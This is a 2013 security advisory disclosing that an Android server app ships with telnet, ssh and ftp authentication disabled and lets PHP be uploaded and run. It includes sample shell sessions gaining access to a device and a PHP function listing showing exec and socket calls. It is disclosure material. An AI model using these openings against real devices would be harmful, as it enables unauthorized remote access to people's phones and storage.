Ice Cold Apps Servers Ultimate 6.0.2(12) Remote Command Execution

`Multiple vulnerabilities in Ice Cold Apps Servers Ulitmate Version 6.0.2(12) for Android  
  
9/8/13  
Larry W. Cashdollar, @_larry0  
  
http://www.amazon.com/Ice-Cold-Apps-Servers-Ultimate/dp/B00E00C44G/ref=sr_1_1?s=mobile-apps&ie=UTF8&qid=1378688647  
  
http://www.icecoldapps.com  
  
Vulnerabilities  
  
There are no credentials by default, authentication is disabled for telnet/ssh/ftp allowing remote access to the device's storage. PHP can be uploaded to the webserver and executed.  
  
• ftp server allows writes to lighttp/php* directory.  
• telnet default authentication turned off.  
• ssh server default authentication turned off.  
• Anonymous SOCKS proxy & http/ftp proxy.  
SSHD  
  
larry$ ssh 192.168.0.29 -p 2222  
$ id  
uid=10041(app_41) gid=10041(app_41) groups=1015(sdcard_rw),3003(inet) $ uptime  
up time: 19:42:02, idle time: 18:47:19, sleep time: 00:00:00 $  
  
Telnet  
  
larry$ telnet 192.168.0.29 2323  
Trying 192.168.0.29...  
Connected to 192.168.0.29.  
Escape character is '^]'.  
  
Welcome to tel!  
Please enter some text to test the connection and hit enter:  
  
$  
$ id  
uid=10041(app_41) gid=10041(app_41) groups=1015(sdcard_rw),3003(inet) $  
  
lighttpd / PHP server  
  
• php has the following functions available:  
Via  
<?php  
  
$arr = get_defined_functions();  
echo "<pre>";  
print_r($arr);  
echo "</pre>";  
  
?>  
  
Returned 1300 functions, including exec, pass_thru system() and  
  
[662] => socket_select  
[663] => socket_create  
[664] => socket_create_listen  
[665] => socket_create_pair  
[666] => socket_accept  
[667] => socket_set_nonblock  
[668] => socket_set_block  
[669] => socket_listen  
[670] => socket_close  
[671] => socket_write  
[672] => socket_read  
[673] => socket_getsockname  
[674] => socket_getpeername  
[675] => socket_connect  
[676] => socket_strerror  
[677] => socket_bind  
[678] => socket_recv  
[679] => socket_send  
[680] => socket_recvfrom  
[681] => socket_sendto  
[682] => socket_get_option  
[683] => socket_set_option  
[684] => socket_shutdown  
[685] => socket_last_error  
[686] => socket_clear_error  
[687] => socket_import_stream  
[688] => socket_getopt  
[689] => socket_setopt  
  
  
Vendor Notified: 9/10/2013  
  
The full list is here:  
  
http://vapid.dhs.org/advisories/ultimate-server-android-vulns.html  
  
-- Larry  
  
  
  
  
`